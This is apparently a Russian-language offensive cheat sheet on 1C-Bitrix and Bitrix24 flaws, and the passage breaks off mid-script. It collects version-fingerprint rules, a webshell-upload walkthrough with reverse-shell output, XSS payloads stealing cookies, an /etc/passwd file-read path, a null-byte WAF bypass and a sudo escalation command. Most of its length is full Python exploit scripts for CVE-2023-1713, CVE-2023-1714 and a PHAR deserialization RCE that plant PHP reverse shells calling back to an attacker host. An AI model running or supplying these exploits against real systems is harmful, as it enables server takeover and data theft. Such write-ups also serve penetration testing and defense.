- "status_code==200 && (\"b319495dd5f16817406386b5dc63c146\" == md5(body))"
- type: dsl
name: "landing (22.0.0) April 18, 2022"
dsl:
- "status_code==200 && (\"e64a234d4771590d79e1809f66fc7043\" == md5(body))"
- type: dsl
name: "landing (21.900.0) November 12, 2021"
dsl:
- "status_code==200 && (\"c49de48decdf1fd2acaf7853925183be\" == md5(body))"
- type: dsl
name: "landing (21.700.0) September 7, 2021"
dsl:
- "status_code==200 && (\"0c4c0547c37ad53cbb1eda4ddbf15e33\" == md5(body))"
- type: dsl
name: "landing (21.500.0) July 16, 2021"
dsl:
- "status_code==200 && (\"c2adce7a16e8572f9a5728288a2fac81\" == md5(body))"
- type: dsl
name: "landing (21.200.0) April 21, 2021"
dsl:
- "status_code==200 && (\"a871c4967c7c937597890d7b5c3d960a\" == md5(body))"
- type: dsl
name: "landing (20.4.500) September 15, 2020"
dsl:
- "status_code==200 && (\"9dc7150c6bd61d298d147b7ea67e8a8b\" == md5(body))"
- type: dsl
name: "landing (20.4.0) July 10, 2020"
dsl:
- "status_code==200 && (\"b3ec699b40523a8412a0d56ed76f43bc\" == md5(body))"
- type: dsl
name: "landing (20.2.100) February 27, 2020"
dsl:
- "status_code==200 && (\"c8c32f0232ac2a4bb46856f12a6a4b09\" == md5(body))"
- type: dsl
name: "landing (20.2.0) January 20, 2020"
dsl:
- "status_code==200 && (\"5a530921bbc5d6923d20b75c4ba99b4d\" == md5(body))"
- type: dsl
name: "landing (20.0.0) November 26, 2019"
dsl:
- "status_code==200 && (\"ef14e227a8f17a3c1a76ce4290dcd9c6\" == md5(body))"
- type: dsl
name: "landing (19.0.200) August 22, 2019"
dsl:
- "status_code==200 && (\"0fa4366725041880aca1a79d451806f4\" == md5(body))"
- type: dsl
name: "landing (19.0.0) August 2, 2019"
dsl:
- "status_code==200 && (\"dfa4536c8b721d8c67065a9fd60c05ed\" == md5(body))"
- type: dsl
name: "landing (18.5.8) October 18, 2018"
dsl:
- "status_code==200 && (\"8f20968cc2e35bedf95777bcc6c39987\" == md5(body))"
CVE-2022-29268 (Rejected) #
Хоть эта CVE на самом деле не CVE, т.к имеет статус Rejected, все равно решил её добавить, потому что такое всё ещё встречается на проде:
https://en.fofa.info/result?qbase64=Vk1CaXRyaXg%3D
«1C-Битрикс: Виртуальная машина» — виртуальный сервер, сконфигурированный для быстрого исполнения программных продуктов «1С-Битрикс». Уязвимость позволяет внедрить вредоносный PHP-скрипт в корневую директорию веб-сайта через форму «Загрузка резервной копии» на веб-странице первоначальной настройки CMS «1С-Битрикс».
- На веб-странице первоначальной настройки CMS «1С-Битрикс» необходимо перейти по ссылке «Восстановить копию»:
- Внедрение тестового вредоносного PHP-скрипта (веб-шелл) через раздел «Загрузка с локального диска» на веб-странице «Загрузка резервной копии». Загрузка была завершена с ошибкой.
- Проверка успешного внедрения вредоносного PHP-скрипта:
Таким образом, вредоносный PHP-скрипт был успешно внедрен в корневую директорию веб-сайта.
# Exploit Title: Unauthenticated Remote Code Execution in Bitrix v7.5.0 and earlier versions
# Remote Code Execution in Bitrix v7.5.0 and earlier versions allows remote attackers to execute arbitrary code via uploading a php web shell. Bitrix v7.5.0 and earlier allows any user to execute arbitrary code by uploading an executable file at the time of restoring from the backup without any prior authentication required.
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718
# Date: 15th April'22
# CVE ID:
# Confirmed on release 7.5.0
# Vendor: https://www.bitrix24.com/self-hosted/installation.php
###############################################
#Step1- http://192.168.56.140/restore.php?lang=en
#Step2- Click on Continue=>Upload from local disk=>Upload the shell.php=>Skip the errors=>Click on BACK
#Step3- Now the shell.php has been uploaded on the server so execute the shell Goto http://192.168.56.140/shell.php
Visit http://IP_ADDR/shell.php and get the reverse shell:
listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.140] 48220
Linux localhost.localdomain 3.10.0-1160.21.1.el7.x86_64 #1 SMP Tue Mar 16 18:28:22 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:37:57 up 1:32, 1 user, load average: 0.00, 0.05, 0.37
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 06:29 45.00s 0.11s 0.11s -bash
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh: no job control in this shell
sh-4.2$ whoami
whoami
bitrix
sh-4.2$ id
id
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh-4.2$ hostname
hostname
localhost.localdomain
sh-4.2$
BDU:2024-01501 #
Иногда на хостах может попасться скрипт bitrixsetup.php. Его конечно настойчиво рекомендуют удалять после установки, но кто читает эти рекомендации, правда?
Reflected XSS #
Если в параметр filename поместить произвольную строку, то обнаружится, что ошибка отображается на странице без какого-либо экранирования, что позволяет нам эксплуатировать XSS уязвимость:
/bitrixsetup.php?action=UNPACK&by_step=Y&filename=en_bitrix24_encode.tar.gz&lang=en&xz=19279
После чтения кода можно убедиться, что пользовательский ввод никак не обрабатывается, а $_REQUEST["filename"]
передается объекту $oArchiver
, ответственному за разархивирование этого файла. Несмотря на наличие архиватора, закрадывается мысль о наличии LFR.
Local File Read #
Данный LFR, к сожалению, способен прочитать только первые 10 строк файла. Но для чтения условного /bitrix/php_interface/dbconn.php
этого вполне достаточно.
/bitrixsetup.php?action=UNPACK&filename=../../../../etc/passwd
В силу того, что часть файла по указанному пути считывается скриптом как заголовок архива, мы можем прочитать его в сообщении об ошибке. Кроме того, обнаружилось, что используя параметр seek, возможно посимвольно сдвигать строку читаемого файла:
Подробнее тут
WAF Bypass #
https://blog.deteact.com/ru/bitrix-waf-bypass/
Бывает, что при проведении XSS отражённого типа параметры попадают прямо в тело тега script. Обычно это означает, что эксплуатация тривиальна: не помешает кодирование скобок, не помешают многие фаерволы, в том числе ныне почивший Chrome XSS Auditor. Но в CMS Bitrix на этот случай есть свой встроенный проактивный фильтр (WAF), принцип работы которого при защите от XSS аналогичен XSS Auditor.
При фаззинге сервиса Mail.ru в рамках Bug Bounty столкнулся с такой точкой входа, где GET параметр попадал в тело тега <script>…</script>
. Но сделать простой PoC не удалось, поскольку приложение было построено с использованием Bitrix, и был активирован модуль WAF.
Любые попытки вставить какой-нибудь интересный код заканчивались заменой всего скрипта на заглушку _<!— deleted by Bitrix WAF —>_
.
Оказалось, что для нейтрализации этой защиты достаточно передать в уязвимом параметре null byte (%00)
.
Для демонстрации развернём тестовое приложение на CMS Bitrix с активированным модулем WAF и добавим следующий код в одну из страниц (/waf-bypass.php):
Если в уязвимый параметр page передать кавычку (закрывающую строку) и вызов alert (как и любой другой функции), то WAF вырезает весь скрипт:
В ходе фаззинга выяснилось, что обойти защиту очень просто — до закрывающейся кавычки вводим null byte (%00) и WAF уже пропускается код:
Итого, получаем полноценный вектор эксплуатации
Ошибка таится в модуле постфильтрации для защиты от XSS. Модуль работает аналогично XSS Auditor и пытается найти в теле страницы теги script с активным содержимым, которое было передано в пользовательских параметрах.
При этом по какой-то причине из значений параметров вырезается нулевой байт, так что в нашем случае при сравнении тела страницы с параметрами не будет выявлено вхождений (ведь в теле есть \x00
, а в параметрах нет).
Уязвимая строка в файле ./bitrix/modules/security/classes/general.post_filter.php
or post_filter.php
, где в методе addVariable
происходит вырезание нулевого байта chr(0)
:
Сам поиск пользовательских данных в теле скрипта происходит в функции isDangerBody
, и здесь в функцию findInArray
передаётся нетронутое значение $body
и массив параметров, из которых вырезан нулевой байт:
Помните, что WAF почти всегда поддаются обходу.
Конкретно в данном случае для исправления ошибки в самом WAF можно убрать вызов str_replace из функции addVariable. При этом на всякий случай стоит добавить проверку на наличие нулевого байта в содержимом (не зря же разработчики Bitrix когда-то добавили этот вызов str_replace).
LPE #
sudo /opt/webdir/bin/wrapper_ansible_conf
sudo /opt/webdir/bin/wrapper_ansible_conf -a bx_passwd --user admin --host "HOST" -P "PASSWORD"
Подробнее тут
Bitrix24 #
- https://starlabs.sg/advisories/23/23-1713/
- https://starlabs.sg/advisories/23/23-1714/
- https://starlabs.sg/advisories/23/23-1715/
- https://starlabs.sg/advisories/23/23-1716/
- https://starlabs.sg/advisories/23/23-1717/
- https://starlabs.sg/advisories/23/23-1718/
- https://starlabs.sg/advisories/23/23-1719/
- https://starlabs.sg/advisories/23/23-1720/
XSS bitrix 24 #
/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=%3Cimg%20onerror%E2%80%A9=alert(document.cookie)%20src=1%3E
Bitrix24 22.0.300 Reflected XSS RCE
CVE-2022-43959 #
Недостаточно защищенные учетные данные в настройках AD/LDAP-сервера в модуле AD/LDAP-коннектора «1С-Битрикс Битрикс24» до версии 23.100.0 позволяют удаленным администраторам узнать административный пароль AD/LDAP, прочитав исходный код файла /bitrix/admin/ldap_server_edit.php.
Шаги эксплуатации:
- Получите доступ к административной панели Битрикс24.
- Перейдите к пункту «Настройки AD/LDAP» в разделе «Администрирование».
- Введите настройки AD/LDAP-сервера из списка серверов.
- Перейдите на вкладку Сервер.
- Убедитесь, что пароль пользователя с правами на чтение дерева серверов AD/LDAP замаскирован в строке «Пароль».
- С помощью инструментов разработчика браузера просмотрите исходный код страницы bitrix/admin/ldap_server_edit.php.
- Убедитесь, что пароль пользователя с правами на чтение дерева AD/LDAP-сервера отображается в исходном коде открытым текстом
https://github.com/secware-ru/CVE-2022-43959
CVE-2023-1713 #
# Bitrix24 Insecure Tempory File creation RCE (CVE-2023-1713)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import requests
import re
import os
import typing
import time
import itertools
import string
import subprocess
import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from urllib.parse import urlparse
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
LPORT1 = 8001
LPORT2 = 9001
LHOST = "192.168.86.43"
DELAY_SECONDS = 60
N_REPS = 1000
PROXY = None
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=f"[{k}]")
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def start_server():
class MyHandler(http.server.BaseHTTPRequestHandler):
htaccess = open("./.htaccess", "rb").read()
def do_GET(self):
path = urlparse(self.path).path
self.send_response(200)
self.end_headers()
# Request .htaccess
if ".htaccess" in path:
self.wfile.write(self.htaccess)
self.wfile.flush()
return
# Delay
print("[+] Delaying return by", DELAY_SECONDS, "seconds")
# send the body of the response
for i in range(DELAY_SECONDS):
self.wfile.write(b"A\n")
self.wfile.flush()
time.sleep(1)
# Shutdown server when done
self.server.shutdown()
def log_message(self, format: str, *args: typing.Any) -> None:
# Silence logging
pass
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
httpd = ThreadedHTTPServer(("0.0.0.0", LPORT1), MyHandler)
def forever():
with httpd:
httpd.serve_forever()
thread = threading.Thread(target=forever, daemon=True)
thread.start()
print("[+] Started HTTP server on", LPORT1)
return httpd
def instagram_import(session, sessid):
session.post(
HOST
+ "/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
data=nested_to_urlencoded([{
"IMAGES": [
f"http://{LHOST}:{LPORT1}/.htaccess"
] * N_REPS + [f"http://{LHOST}:{LPORT1}/delay"],
"NAME": "Product 1"
}], prefix="items"
),
headers={"X-Bitrix-Csrf-Token": sessid},
)
print("[+] Waiting done")
def test_exists(dir_name):
resp = requests.head(f"{HOST}/upload/tmp/{dir_name}/.htaccess", proxies=PROXY)
return resp.status_code == 200
def bruteforce():
print("[+] Bruteforcing .htaccess location")
chars = string.digits + string.ascii_lowercase
for dir_name in itertools.product(chars, repeat=3):
dir_name = "".join(dir_name)
if test_exists(dir_name):
print(f"[+] Found .htaccess: {HOST}/upload/tmp/{dir_name}/.htaccess")
return dir_name
def reverse_shell(dir_name):
requests.get(f"{HOST}/upload/tmp/{dir_name}/.htaccess?ip={LHOST}&port={LPORT2}", proxies=PROXY)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
start_server()
threading.Thread(target=instagram_import, args=(s, sessid)).start()
dir_name = bruteforce()
threading.Thread(target=reverse_shell, args=(dir_name,)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT2)])
.htaccess
file:
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
SetHandler application/x-httpd-php
</Files>
# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
Этот файл должен находиться в том же каталоге, что и код эксплойта на Python3. При запуске кода эксплойта будет создан HTTP-сервер на LPORT1, обслуживающий вредоносный файл .htaccess, а также запущен приемник netcat на LPORT2 для reverse шелла.
CVE-2023-1714 #
Bitrix24 Insecure File Append RCE #
Эта уязвимость может быть использована, если у злоумышленника есть доступ к функции CRM и разрешение на создание и экспорт контактов. Такой уровень доступа может быть предоставлен, если пользователь входит в группу management.
# Bitrix24 Insecure File Append RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import base64
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"
LPORT = 9001
LHOST = "192.168.86.43"
PROXY = {"http": "http://localhost:8080"}
CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
"""
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def set_progress_data(session, sessid):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded(
{
"p": [{
"c": "crm",
"v": {
"filePath": f"{ROOT_PATH}{TARGET_FILE}",
"processToken": "b",
},
"n": "crm_cloud_export_CONTACT"
}],
"sessid": sessid
}
)))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def trigger_file_append(session, sessid):
print(f"[+] Appending payload to target file")
session.post(
HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data={
"ENTITY_TYPE": "CONTACT",
"EXPORT_TYPE": "csv",
"COMPONENT_NAME": "bitrix:crm.contact.list",
"PROCESS_TOKEN": "b",
"REQUISITE_MULTILINE": "Y",
"EXPORT_ALL_FIELDS": "Y",
"INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
"INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
}
)
def delete_contact(session: requests.Session, sessid, contactId):
print(f"[+] Deleting contact {contactId}")
res = session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[gridId]=CRM_CONTACT_LIST_V12¶ms[entityTypeId]=3¶ms[extras][CATEGORY_ID]=0¶ms[entityIds][0]={contactId}",
)
hash = res.json()["data"]["hash"]
session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[hash]={hash}",
)
print(f"[+] Contact {contactId} deleted")
def create_contact(session: requests.Session, sessid):
payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
res = session.post(
HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
headers={
"Content-Type": "application/x-www-form-urlencoded",
},
data={
"PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
"PARAMS[CATEGORY_ID]": "0",
"EDITOR_CONFIG_ID": "contact_details",
"HONORIFIC": "",
"LAST_NAME": "",
"NAME": "Definitely not Attacker",
"SECOND_NAME": "",
"BIRTHDATE": "",
"POST": "",
"PHONE[n0][VALUE]": "",
"PHONE[n0][VALUE_TYPE]": "WORK",
"EMAIL[n0][VALUE]": "",
"EMAIL[n0][VALUE_TYPE]": "WORK",
"WEB[n0][VALUE]": "",
"WEB[n0][VALUE_TYPE]": "WORK",
"IM[n0][VALUE]": "",
"IM[n0][VALUE_TYPE]": "FACEBOOK",
"CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
"TYPE_ID": "CLIENT",
"SOURCE_ID": "CALL",
"SOURCE_DESCRIPTION": payload,
"OPENED": "Y",
"EXPORT": "Y",
"ASSIGNED_BY_ID": "3",
"COMMENTS": "",
"contact_0_details_editor_comments_html_editor": "",
"ACTION": "SAVE",
"ACTION_ENTITY_ID": "",
"ACTION_ENTITY_TYPE": "C",
"ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
}
)
contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
print(f"[+] Created contact {contactId}")
return int(contactId)
def reverse_shell():
requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
contactId = create_contact(s, sessid)
try:
set_progress_data(s, sessid)
trigger_file_append(s, sessid)
finally:
delete_contact(s, sessid, contactId)
threading.Thread(target=reverse_shell).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT)])
Bitrix24 PHAR Deserialization RCE #
Эта уязвимость может быть использована, если у злоумышленника есть доступ к функции CRM и разрешение на редактирование контактов. Такой уровень доступа может быть предоставлен, если пользователь входит в группу management.
# Bitrix24 PHAR Deserialization RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"
ROOT_PATH = "/var/www/html/"
PORT = 9001
LHOST = "192.168.86.125"
PROXY = {"http": "http://localhost:8080"}
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def upload_web_shell(s, sessid):
data = f"""
<?php
sleep(2);
$sock=fsockopen("{LHOST}", {PORT});
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
return upload(s, sessid, data)
def upload(session, sessid, data):
CID = random.randint(0, pow(10, 5))
resp = session.post(
HOST + "/desktop_app/file.ajax.php?action=uploadfile",
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_info[mode]": "upload",
"bxu_info[CID]": str(CID),
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": f"pIndex{CID}",
"bxu_info[NAME]": f"file{CID}",
"bxu_files[0][name]": f"file{CID}",
},
files={
"bxu_files[0][default]": (
"file",
data,
"text/plain",
)
},
proxies=PROXY,
).json()
return resp["files"][0]["file"]["files"]["default"]["tmp_name"]
def make_phar(path):
os.system("rm ./test.phar")
print(f"[+] Creating PHAR")
os.system(f"php --define phar.readonly=0 create_phar.php {path}")
return open("./test.phar", 'rb').read()
def set_progress_data(session, sessid, path):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded([{
"c": "crm",
"v": {
"FILE_PATH": f"phar://{path}/a",
"PROCESS_TOKEN": "b",
},
"n": "crm_stexport_contact"
}], "p"
) | {"sessid": sessid}))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def get_upload_params(session, sessid):
resp = session.post(
HOST
+ "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
+ sessid,
data={
"FIELD_NAME": "PHOTO",
"ACTION": "RENDER_IMAGE_INPUT",
"ACTION_ENTITY_ID": "0",
},
)
controlUid = re.search(
re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
).group(1)
controlSign = re.search(
re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
).group(1)
urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
return controlUid, controlSign, urlUpload, user_id
def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
resp = session.post(
HOST + urlUpload,
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_files[file167][name]": "bitrix-out.jpg",
"bxu_files[file167][type]": "image/jpg",
"bxu_files[file167][size]": "10",
"AJAX_POST": "Y",
"USER_ID": user_id,
"sessid": sessid,
"SITE_ID": SITE_ID,
"bxu_info[controlId]": "bitrixUploader",
"bxu_info[CID]": controlUid,
"cid": controlUid,
"moduleId": "crm",
"allowUpload": "I",
"uploadMaxFilesize": "3145728",
"bxu_info[uploadInputName]": "bxu_files",
"bxu_info[version]": "1",
"bxu_info[mode]": "upload",
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": "pIndex1",
"mfi_mode": "upload",
"mfi_sign": controlSign,
},
files={
"bxu_files[file167][default]": (
"bitrix-out.jpg",
data,
"image/jpg",
)
},
proxies=PROXY,
)
full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
return re.search(
re.compile(
"/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
),
full_path,
).group(1)
def trigger_file_exists(session, sessid):
session.post(
HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=nested_to_urlencoded({
"SITE_ID": SITE_ID,
"ENTITY_TYPE_NAME": "CONTACT",
"EXPORT_TYPE": "csv",
"PROCESS_TOKEN": "b",
}, "PARAMS") | {"ACTION": "STEXPORT"}
)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
webshell_path = upload_web_shell(s, sessid)
ROOT_PATH = webshell_path[:webshell_path.index("upload")]
print(f"[+] Webshell uploaded to '{webshell_path}'")
controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
data = make_phar(webshell_path)
path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
print(f"[+] PHAR uploaded to '{path}'")
set_progress_data(s, sessid, path)
print(f"[+] Triggering file_exists phar deserialization")
threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(PORT)])
Следующие файлы PHP также должны находиться в той же директории:
create_phar.php:
<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;
include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
public $activityFile;
public $dialogFileName = 'properties_dialog.php';
public $map;
public $mapCallback;
public $documentType;
public $activityName;
public $workflowTemplate;
public $workflowParameters;
public $workflowVariables;
public $currentValues;
public $formName;
public $siteId;
public $renderer;
public $context;
public $runtimeData = array();
public function __toString()
{
if ($this->renderer !== null)
{
return call_user_func($this->renderer, $this);
}
$runtime = \CBPRuntime::getRuntime();
$runtime->startRuntime();
return (string)$runtime->executeResourceFile(
$this->activityFile,
$this->dialogFileName,
array_merge(array(
'dialog' => $this,
//compatible parameters
'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
'formName' => $this->getFormName()
), $this->getRuntimeData()
)
);
}
}
$cloudDebug = new CCloudsDebug();
$dialog = new PropertiesDialog();
$dialog->dialogFileName = "stexport.php";
$dialog->runtimeData = ["path" => [$argv[1], ""]];
$cloudDebug->head = $dialog;
function generate_base_phar($o){
global $tempname;
@unlink($tempname);
$phar = new \Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}
function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);
// calc tar checksum
$chksum = 0;
for ($i=0; $i<512; $i++){
